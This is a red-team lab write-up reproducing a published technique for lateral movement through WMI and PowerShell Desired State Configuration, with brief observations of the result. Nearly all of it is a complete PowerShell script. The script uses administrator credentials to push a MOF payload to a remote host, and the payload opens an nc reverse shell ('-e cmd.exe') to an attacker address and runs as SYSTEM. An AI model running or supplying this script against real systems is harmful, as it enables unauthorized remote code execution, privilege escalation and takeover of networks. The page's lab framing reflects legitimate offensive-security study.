WMI + PowerShell Desired State Configuration Lateral Movement
Lateral Movment, Privilege Escalation
This lab is simply a test of the lateral movement technique desrcibed by Matt Graeber here.

Execution

Below is the powershell script that allows an attacker to execute code on a remote machine via WMI. Note that the payload is defined in the variable TestScript on line 7. In our case, the payload is a rudimentary nc reverse shell (luckily, we know the victim has nc on their machine :):
dsc.ps1
1
# Credits to Matt Graeber. Code taken from https://posts.specterops.io/abusing-powershell-desired-state-configuration-for-lateral-movement-ca42ddbe6f06
2
$MOFContents = @'
3
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
4
{
5
ResourceID = "[Script]ScriptExample";
6
GetScript = "\"$(Get-Date): I am being GET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
7
TestScript = "C:\\tools\\nc.exe 10.0.0.5 443 -e cmd.exe";
8
SetScript = "\"$(Get-Date): I am being SET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
9
SourceInfo = "::3::5::Script";
10
ModuleName = "PsDesiredStateConfiguration";
11
ModuleVersion = "1.0";
12
ConfigurationName = "ScriptTest";
13
};
14
15
instance of OMI_ConfigurationDocument
16
{
17
Version="2.0.0";
18
MinimumCompatibleVersion = "1.0.0";
19
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
20
Author="TestUser";
21
GenerationDate="02/26/2018 07:09:21";
22
GenerationHost="TestHost";
23
Name="ScriptTest";
24
};
25
'@
26
27
# Change this to false if you want to test the payload locally
28
$ExecuteRemotely = $True
29
30
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
31
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
32
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
33
34
if ($ExecuteRemotely) {
35
# Prepend the length of the payload
36
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
37
} else {
38
# If executing locally, you do not prepend the payload length
39
[Byte[]] $MOFBytes = $NormalizedMOFBytes
40
}
41
42
43
# Specify the credentials of your target
44
$Credential = Get-Credential -Credential "offense\administrator"
45
$ComputerName = 'ws02'
46
47
# Establish a remote WMI session with the target system
48
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential
49
50
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
51
52
if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
53
# You may now proceed with lateral movement
54
55
$MethodArgs = @{
56
ModuleName = 'PSDesiredStateConfiguration'
57
ResourceType = 'MSFT_ScriptResource'
58
resourceProperty = $MOFBytes
59
}
60
61
$Arguments = @{
62
Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration'
63
ClassName = 'MSFT_DSCLocalConfigurationManager'
64
MethodName = 'ResourceTest'
65
Arguments = $MethodArgs
66
CimSession = $RemoteCIMSession
67
}
68
69
# Invoke the DSC script resource Test method
70
# Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
71
Invoke-CimMethod @Arguments
72
73
} else {
74
Write-Warning 'The DSC lateral movement method is not available on the remote system.'
75
}
Copied!
The technique is captured in action in a gif below. On the left is the attacking system, on the right is the victim system and the window above the victim screen is another attacking system that is receiving the reverse shell:

Observations

Note the process ancestry and that our code was run with privileges ofNT AUTHORITY\SYSTEM:

References

https://posts.specterops.io/abusing-powershell-desired-state-configuration-for-lateral-movement-ca42ddbe6f06
posts.specterops.io
Last modified 3yr ago